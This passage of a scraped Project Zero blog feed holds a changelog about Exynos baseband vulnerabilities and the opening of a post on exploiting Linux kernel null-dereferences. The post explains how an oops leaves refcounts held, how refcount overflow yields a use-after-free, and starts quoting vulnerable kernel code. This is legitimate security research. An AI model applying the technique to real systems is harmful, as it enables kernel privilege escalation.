<p class="nAjVSlbajO-c1"><span class="nAjVSlbajO-c3"></span></p><h2 class="nAjVSlbajO-c10" id="h.pizd28g4v1pz"><span class="nAjVSlbajO-c16">Changelog</span></h2>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-21</b>: Removed note at the top of the blog as patches are more widely available for the four severe vulnerabilities. Added additional context that some carriers can control the Wifi calling and VoLTE settings, overriding the ability for some users to change this setting.</span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-20</b>: Google Pixel updated their <a class="nAjVSlbajO-c91" href="https://source.android.com/docs/security/bulletin/pixel/2023-03-01">March 2023 Security Bulletin</a> to now show that all four Internet-to-baseband remote code execution vulnerabilities were fixed for Pixel 6 and Pixel 7 in the March 2023 update, not just one of the vulnerabilities, as originally stated.</span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-20</b>: Samsung Semiconductor<a class="nAjVSlbajO-c91" href="https://semiconductor.samsung.com/support/quality-support/product-security-updates/"> updated their advisories</a> to include three new CVE-IDs, that correspond to the three other Internet-to-baseband remote code execution issues (CVE-2023-26496, CVE-2023-26497 and CVE-2023-26498). The blogpost text was updated to reflect these new CVE-IDs.</span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-17</b>: Samsung Semiconductor<a class="nAjVSlbajO-c91" href="https://semiconductor.samsung.com/support/quality-support/product-security-updates/"> updated their advisories</a> to remove Exynos W920 as an affected chipset, so we have removed it from the "Affected devices" section.</span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-17</b>: Samsung Mobile advised us that the A21s is the correct affected device, not the A21 as originally stated.</span></p>
<p class="nAjVSlbajO-c6"><span class="nAjVSlbajO-c3"><b>2023-03-17</b>: Four of the fourteen less severe vulnerabilities hit their 90-day deadline at the time of publication, not five, as originally stated.</span></p>Google Project Zerohttp://www.blogger.com/profile/08975904405228580347noreply@blogger.com0tag:blogger.com,1999:blog-4838136820032157985.post-62888495789011597972023-01-19T09:33:00.000-08:002023-01-19T09:33:48.633-08:00Exploiting null-dereferences in the Linux kernel<style type="text/css">@import url('https://themes.googleusercontent.com/fonts/css?kit=lhDjYqiy3mZ0x6ROQEUoUw');ol.lst-kix_3558t16xb2i9-3.start{counter-reset:lst-ctn-kix_3558t16xb2i9-3 0}.lst-kix_dt3x5t4funnl-8>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-8,lower-roman) ". "}ol.lst-kix_ehkygwr8rii2-3.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-3 0}ol.lst-kix_dt3x5t4funnl-6.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-6 0}.lst-kix_3558t16xb2i9-5>li{counter-increment:lst-ctn-kix_3558t16xb2i9-5}.lst-kix_dt3x5t4funnl-7>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-7,lower-latin) ". "}.lst-kix_dt3x5t4funnl-1>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-1}.lst-kix_dt3x5t4funnl-2>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-2,lower-roman) ". "}.lst-kix_ehkygwr8rii2-5>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-5}.lst-kix_dt3x5t4funnl-1>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-1,lower-latin) ". "}ol.lst-kix_3558t16xb2i9-6.start{counter-reset:lst-ctn-kix_3558t16xb2i9-6 0}.lst-kix_dt3x5t4funnl-2>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-2}ol.lst-kix_ehkygwr8rii2-6.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-6 0}ol.lst-kix_gx9cg4br20pa-1.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-1 0}.lst-kix_dt3x5t4funnl-3>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-3,decimal) ". "}.lst-kix_dt3x5t4funnl-4>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-4,lower-latin) ". "}.lst-kix_dt3x5t4funnl-6>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-6,decimal) ". "}.lst-kix_3558t16xb2i9-8>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-8,lower-roman) ". "}.lst-kix_dt3x5t4funnl-5>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-5,lower-roman) ". "}.lst-kix_3558t16xb2i9-5>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-5,lower-roman) ". "}.lst-kix_dt3x5t4funnl-0>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-0}.lst-kix_3558t16xb2i9-3>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-3,decimal) ". "}.lst-kix_3558t16xb2i9-7>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-7,lower-latin) ". "}.lst-kix_dt3x5t4funnl-3>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-3}.lst-kix_3558t16xb2i9-6>li{counter-increment:lst-ctn-kix_3558t16xb2i9-6}.lst-kix_3558t16xb2i9-2>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-2,lower-roman) ". "}.lst-kix_3558t16xb2i9-6>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-6,decimal) ". "}ol.lst-kix_gx9cg4br20pa-4.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-4 0}.lst-kix_3558t16xb2i9-4>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-4,lower-latin) ". "}ol.lst-kix_ehkygwr8rii2-1{list-style-type:none}.lst-kix_3558t16xb2i9-4>li{counter-increment:lst-ctn-kix_3558t16xb2i9-4}.lst-kix_gx9cg4br20pa-7>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-7}ol.lst-kix_ehkygwr8rii2-0{list-style-type:none}ol.lst-kix_ehkygwr8rii2-3{list-style-type:none}ol.lst-kix_3558t16xb2i9-0.start{counter-reset:lst-ctn-kix_3558t16xb2i9-0 0}ol.lst-kix_ehkygwr8rii2-2{list-style-type:none}ol.lst-kix_ehkygwr8rii2-5{list-style-type:none}ol.lst-kix_ehkygwr8rii2-4{list-style-type:none}ol.lst-kix_ehkygwr8rii2-7{list-style-type:none}.lst-kix_ehkygwr8rii2-3>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-3}ol.lst-kix_ehkygwr8rii2-6{list-style-type:none}.lst-kix_3558t16xb2i9-1>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-1,lower-latin) ". "}ol.lst-kix_ehkygwr8rii2-8{list-style-type:none}.lst-kix_ehkygwr8rii2-6>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-6}ol.lst-kix_gx9cg4br20pa-7.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-7 0}.lst-kix_3558t16xb2i9-0>li:before{content:"" counter(lst-ctn-kix_3558t16xb2i9-0,decimal) ". "}.lst-kix_3558t16xb2i9-2>li{counter-increment:lst-ctn-kix_3558t16xb2i9-2}ol.lst-kix_3558t16xb2i9-8.start{counter-reset:lst-ctn-kix_3558t16xb2i9-8 0}ol.lst-kix_ehkygwr8rii2-8.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-8 0}.lst-kix_ehkygwr8rii2-8>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-8}.lst-kix_gx9cg4br20pa-1>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-1}ol.lst-kix_dt3x5t4funnl-8.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-8 0}.lst-kix_dt3x5t4funnl-5>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-5}ol.lst-kix_gx9cg4br20pa-8{list-style-type:none}ol.lst-kix_dt3x5t4funnl-1.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-1 0}ol.lst-kix_gx9cg4br20pa-4{list-style-type:none}ol.lst-kix_gx9cg4br20pa-5{list-style-type:none}ol.lst-kix_3558t16xb2i9-1.start{counter-reset:lst-ctn-kix_3558t16xb2i9-1 0}ol.lst-kix_gx9cg4br20pa-3.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-3 0}ol.lst-kix_gx9cg4br20pa-6{list-style-type:none}ol.lst-kix_gx9cg4br20pa-7{list-style-type:none}ol.lst-kix_gx9cg4br20pa-0{list-style-type:none}ol.lst-kix_gx9cg4br20pa-1{list-style-type:none}.lst-kix_gx9cg4br20pa-5>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-5}ol.lst-kix_gx9cg4br20pa-2{list-style-type:none}ol.lst-kix_gx9cg4br20pa-3{list-style-type:none}ol.lst-kix_ehkygwr8rii2-1.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-1 0}.lst-kix_gx9cg4br20pa-8>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-8}ol.lst-kix_dt3x5t4funnl-0.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-0 0}ol.lst-kix_dt3x5t4funnl-7.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-7 0}ol.lst-kix_ehkygwr8rii2-7.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-7 0}.lst-kix_dt3x5t4funnl-0>li:before{content:"" counter(lst-ctn-kix_dt3x5t4funnl-0,decimal) ". "}ol.lst-kix_ehkygwr8rii2-0.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-0 0}ol.lst-kix_gx9cg4br20pa-2.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-2 0}.lst-kix_ehkygwr8rii2-2>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-2}ol.lst-kix_3558t16xb2i9-2.start{counter-reset:lst-ctn-kix_3558t16xb2i9-2 0}.lst-kix_3558t16xb2i9-8>li{counter-increment:lst-ctn-kix_3558t16xb2i9-8}ol.lst-kix_gx9cg4br20pa-5.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-5 0}.lst-kix_ehkygwr8rii2-8>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-8,lower-roman) ". "}.lst-kix_dt3x5t4funnl-7>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-7}.lst-kix_ehkygwr8rii2-7>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-7,lower-latin) ". "}.lst-kix_gx9cg4br20pa-3>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-3}.lst-kix_ehkygwr8rii2-6>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-6,decimal) ". "}.lst-kix_ehkygwr8rii2-0>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-0}.lst-kix_ehkygwr8rii2-5>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-5,lower-roman) ". "}ol.lst-kix_3558t16xb2i9-7{list-style-type:none}ol.lst-kix_gx9cg4br20pa-8.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-8 0}.lst-kix_ehkygwr8rii2-2>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-2,lower-roman) ". "}ol.lst-kix_3558t16xb2i9-8{list-style-type:none}.lst-kix_dt3x5t4funnl-8>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-8}ol.lst-kix_3558t16xb2i9-3{list-style-type:none}.lst-kix_ehkygwr8rii2-0>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-0,decimal) ". "}.lst-kix_ehkygwr8rii2-4>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-4,lower-latin) ". "}ol.lst-kix_3558t16xb2i9-4{list-style-type:none}ol.lst-kix_3558t16xb2i9-5{list-style-type:none}.lst-kix_ehkygwr8rii2-3>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-3,decimal) ". "}ol.lst-kix_3558t16xb2i9-6{list-style-type:none}.lst-kix_3558t16xb2i9-0>li{counter-increment:lst-ctn-kix_3558t16xb2i9-0}.lst-kix_ehkygwr8rii2-1>li:before{content:"" counter(lst-ctn-kix_ehkygwr8rii2-1,lower-latin) ". "}.lst-kix_ehkygwr8rii2-1>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-1}.lst-kix_gx9cg4br20pa-2>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-2}ol.lst-kix_dt3x5t4funnl-5.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-5 0}ol.lst-kix_dt3x5t4funnl-0{list-style-type:none}ol.lst-kix_dt3x5t4funnl-1{list-style-type:none}ol.lst-kix_ehkygwr8rii2-2.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-2 0}ol.lst-kix_dt3x5t4funnl-2{list-style-type:none}ol.lst-kix_3558t16xb2i9-0{list-style-type:none}ol.lst-kix_dt3x5t4funnl-3{list-style-type:none}ol.lst-kix_3558t16xb2i9-1{list-style-type:none}ol.lst-kix_dt3x5t4funnl-4{list-style-type:none}.lst-kix_dt3x5t4funnl-6>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-6}ol.lst-kix_3558t16xb2i9-2{list-style-type:none}ol.lst-kix_dt3x5t4funnl-5{list-style-type:none}ol.lst-kix_dt3x5t4funnl-6{list-style-type:none}ol.lst-kix_dt3x5t4funnl-7{list-style-type:none}ol.lst-kix_3558t16xb2i9-4.start{counter-reset:lst-ctn-kix_3558t16xb2i9-4 0}ol.lst-kix_dt3x5t4funnl-8{list-style-type:none}.lst-kix_gx9cg4br20pa-4>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-4}.lst-kix_3558t16xb2i9-1>li{counter-increment:lst-ctn-kix_3558t16xb2i9-1}ol.lst-kix_3558t16xb2i9-7.start{counter-reset:lst-ctn-kix_3558t16xb2i9-7 0}ol.lst-kix_dt3x5t4funnl-2.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-2 0}ol.lst-kix_ehkygwr8rii2-5.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-5 0}.lst-kix_gx9cg4br20pa-1>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-1,lower-latin) ". "}.lst-kix_gx9cg4br20pa-2>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-2,lower-roman) ". "}ol.lst-kix_dt3x5t4funnl-4.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-4 0}.lst-kix_gx9cg4br20pa-6>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-6}.lst-kix_dt3x5t4funnl-4>li{counter-increment:lst-ctn-kix_dt3x5t4funnl-4}ol.lst-kix_gx9cg4br20pa-0.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-0 0}.lst-kix_gx9cg4br20pa-0>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-0,decimal) ". "}.lst-kix_3558t16xb2i9-7>li{counter-increment:lst-ctn-kix_3558t16xb2i9-7}.lst-kix_3558t16xb2i9-3>li{counter-increment:lst-ctn-kix_3558t16xb2i9-3}.lst-kix_ehkygwr8rii2-7>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-7}.lst-kix_ehkygwr8rii2-4>li{counter-increment:lst-ctn-kix_ehkygwr8rii2-4}ol.lst-kix_gx9cg4br20pa-6.start{counter-reset:lst-ctn-kix_gx9cg4br20pa-6 0}ol.lst-kix_ehkygwr8rii2-4.start{counter-reset:lst-ctn-kix_ehkygwr8rii2-4 0}ol.lst-kix_dt3x5t4funnl-3.start{counter-reset:lst-ctn-kix_dt3x5t4funnl-3 0}li.li-bullet-0:before{margin-left:-18pt;white-space:nowrap;display:inline-block;min-width:18pt}.lst-kix_gx9cg4br20pa-8>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-8,lower-roman) ". "}.lst-kix_gx9cg4br20pa-7>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-7,lower-latin) ". "}.lst-kix_gx9cg4br20pa-5>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-5,lower-roman) ". "}.lst-kix_gx9cg4br20pa-6>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-6,decimal) ". "}ol.lst-kix_3558t16xb2i9-5.start{counter-reset:lst-ctn-kix_3558t16xb2i9-5 0}.lst-kix_gx9cg4br20pa-0>li{counter-increment:lst-ctn-kix_gx9cg4br20pa-0}.lst-kix_gx9cg4br20pa-3>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-3,decimal) ". "}.lst-kix_gx9cg4br20pa-4>li:before{content:"" counter(lst-ctn-kix_gx9cg4br20pa-4,lower-latin) ". "}ol{margin:0;padding:0}table td,table th{padding:0}.EakHiGVfAD-c11{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.EakHiGVfAD-c19{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:italic}.EakHiGVfAD-c5{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:11pt;font-family:"Arial";font-style:normal}.EakHiGVfAD-c12{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:16pt;font-family:"Arial";font-style:normal}.EakHiGVfAD-c2{color:#000000;font-weight:400;text-decoration:none;vertical-align:baseline;font-size:10pt;font-family:Consolas,"Courier New";font-style:normal}.EakHiGVfAD-c17{padding-top:18pt;padding-bottom:6pt;line-height:1.5;page-break-after:avoid;text-align:left}.EakHiGVfAD-c26{color:#000000;text-decoration:none;vertical-align:baseline;font-size:11pt;font-style:normal}.EakHiGVfAD-c1{font-size:10pt;font-family:Consolas,"Courier New";color:#9c27b0;font-weight:400}.EakHiGVfAD-c0{font-size:10pt;font-family:Consolas,"Courier New";color:#616161;font-weight:400}.EakHiGVfAD-c7{font-size:10pt;font-family:Consolas,"Courier New";color:#000000;font-weight:400}.EakHiGVfAD-c4{padding-top:0pt;padding-bottom:0pt;line-height:1.5;text-align:left}.EakHiGVfAD-c27{font-size:10pt;font-family:Consolas,"Courier New";color:#0f9d58;font-weight:400}.EakHiGVfAD-c13{font-size:10pt;font-family:Consolas,"Courier New";color:#455a64;font-weight:400}.EakHiGVfAD-c9{font-size:10pt;font-family:Consolas,"Courier New";color:#c53929;font-weight:400}.EakHiGVfAD-c16{border-spacing:0;border-collapse:collapse;margin-right:auto}.EakHiGVfAD-c22{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.EakHiGVfAD-c25{background-color:#ffffff;max-width:468pt;padding:72pt 72pt 72pt 72pt}.EakHiGVfAD-c10{color:inherit;text-decoration:inherit}.EakHiGVfAD-c8{orphans:2;widows:2}.EakHiGVfAD-c15{margin-left:36pt;padding-left:0pt}.EakHiGVfAD-c20{padding:0;margin:0}.EakHiGVfAD-c3{font-weight:400;font-family:"Courier New"}.EakHiGVfAD-c21{height:0pt}.EakHiGVfAD-c23{margin-left:36pt}.EakHiGVfAD-c18{vertical-align:super}.EakHiGVfAD-c6{height:11pt}.EakHiGVfAD-c24{font-style:italic}.EakHiGVfAD-c14{font-weight:700}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;orphans:2;widows:2;text-align:left}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.5;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:left}</style></head><body class="c25 doc-content">
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5">Posted by Seth Jenkins, Project Zero</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>For a fair amount of time</span><span>, null-deref bugs were a highly exploitable kernel bug class. Back when the kernel was able to access userland memory without restriction, and userland programs were still able to map the zero page, there were many easy techniques for exploiting null-deref bugs. However with the introduction of modern exploit mitigations such as SMEP and SMAP, as well as </span><span class="EakHiGVfAD-c3">mmap_min_addr</span><span> preventing unprivileged programs from mmap’ing low addresses, null-deref bugs are generally not considered </span><span>a security issue</span><span> in modern kernel versions. </span><span>This blog post provides an exploit technique</span><span class="EakHiGVfAD-c5"> demonstrating that treating these bugs as universally innocuous often leads to faulty evaluations of their relevance to security.</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><h2 class="EakHiGVfAD-c17 EakHiGVfAD-c8" id="h.m1bt0m324efm"><span class="EakHiGVfAD-c12">Kernel oops overview</span></h2>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>At present, when the Linux kernel triggers a null-deref from within a process context, it generates an </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://en.wikipedia.org/wiki/Linux_kernel_oops">oops</a></span><span>, which is distinct from a kernel panic. A panic occurs when the kernel determines that there is no safe way to continue execution, and that therefore all execution must </span><span>cease</span><span>. However, the kernel does </span><span class="EakHiGVfAD-c24">not</span><span> stop all execution during an oops - instead the kernel tries to recover as best as it can and continue </span><span>execution</span><span>. In the case of a task, that involves throwing out the existing kernel stack and going directly to </span><span class="EakHiGVfAD-c3">make_task_dead</span><span> which calls </span><span class="EakHiGVfAD-c3">do_exit</span><span>. The kernel will also publish in dmesg a “crash” log and kernel backtrace depicting what state the kernel was in when the oops occurred. This may seem like an odd choice to make when memory corruption has clearly occurred - however the intention is to allow kernel bugs to more easily be detectable and loggable under the </span><span class="EakHiGVfAD-c22"><a class="EakHiGVfAD-c101" href="https://yarchive.net/comp/linux/BUG.html">philosophy that a working system is much easier to debug than a dead one.</a></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span class="EakHiGVfAD-c5">The unfortunate side effect of the oops recovery path is that the kernel is not able to perform any associated cleanup that it would normally perform on a typical syscall error recovery path. This means that any locks that were locked at the moment of the oops stay locked, any refcounts remain taken, any memory otherwise temporarily allocated remains allocated, etc. However, the process that generated the oops, its associated kernel stack, task struct and derivative members etc. can and often will be freed, meaning that depending on the precise circumstances of the oops, it’s possible that no memory is actually leaked. This becomes particularly important in regards to exploitation later.</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><h2 class="EakHiGVfAD-c8 EakHiGVfAD-c17" id="h.eq2rlvs1528n"><span class="EakHiGVfAD-c12">Reference count mismanagement overview</span></h2>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>Refcount mismanagement is a fairly well-known and exploitable issue. In the case where software improperly decrements a refcount, this can lead to a classic UAF primitive. The case where </span><span>software</span><span> improperly </span><span class="EakHiGVfAD-c14">doesn’t</span><span> decrement</span><span> a refcount (</span><span>leaking a </span><span>reference) is also often exploitable. If the attacker can cause a refcount to be repeatedly improperly incremented, it is possible that given enough effort the refcount may overflow, at which point the software no longer has any remotely sensible idea of how many refcounts are taken on an object.</span><span> In such a case, it is possible for an attacker to destroy the object</span><span> by incrementing and decrementing the refcount back to zero after overflowing, while still holding reachable references to the associated memory. </span><span>32-bit refcounts are particularly vulnerable to this sort of overflow</span><span>. It is important however, that each increment of the refcount allocates little or no </span><span>physical memory</span><span>. </span><span>Even a single byte allocation is quite expensive if it must be performed 2</span><span class="EakHiGVfAD-c18">32</span><span> times</span><span class="EakHiGVfAD-c5">.</span></p><h2 class="EakHiGVfAD-c17 EakHiGVfAD-c8" id="h.35si9vu7f0jz"><span class="EakHiGVfAD-c12">Example null-deref bug</span></h2>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8"><span>When a kernel oops unceremoniously ends a task, any refcounts that the task was holding remain held, even though all memory associated with the task may be freed when the task exits. Let’s look at </span><span>an example</span><span class="EakHiGVfAD-c5"> - an otherwise unrelated bug I coincidentally discovered in the very recent past:</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c8 EakHiGVfAD-c6"><span class="EakHiGVfAD-c5"></span></p><a id="t.fe2fb833118ca1ee8e3e8160d28a318057211654"></a><a id="t.0"></a><table class="EakHiGVfAD-c16"><tr class="EakHiGVfAD-c21"><td class="EakHiGVfAD-c11" colspan="1" rowspan="1">
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c1">static</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">int</span><span class="EakHiGVfAD-c7"> show_smaps_rollup</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> seq_file </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">m</span><span class="EakHiGVfAD-c0">,</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">void</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">v</span><span class="EakHiGVfAD-c0">)</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c0">{</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> proc_maps_private </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">priv </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> m</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c1">private</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> mem_size_stats mss</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> mm_struct </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">mm</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">struct</span><span class="EakHiGVfAD-c7"> vm_area_struct </span><span class="EakHiGVfAD-c0">*</span><span class="EakHiGVfAD-c7">vma</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">unsigned</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">long</span><span class="EakHiGVfAD-c7"> last_vma_end </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">int</span><span class="EakHiGVfAD-c7"> ret </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c9">0</span><span class="EakHiGVfAD-c0">;</span></p>
<p class="EakHiGVfAD-c4 EakHiGVfAD-c6"><span class="EakHiGVfAD-c2"></span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">task </span><span class="EakHiGVfAD-c0">=</span><span class="EakHiGVfAD-c7"> get_proc_task</span><span class="EakHiGVfAD-c0">(</span><span class="EakHiGVfAD-c7">priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">inode</span><span class="EakHiGVfAD-c0">);</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c13">//task reference taken</span></p>
<p class="EakHiGVfAD-c4"><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c1">if</span><span class="EakHiGVfAD-c7"> </span><span class="EakHiGVfAD-c0">(!</span><span class="EakHiGVfAD-c7">priv</span><span class="EakHiGVfAD-c0">-></span><span class="EakHiGVfAD-c7">task</span><span class="EakHiGVfAD-c0">)</span></p>
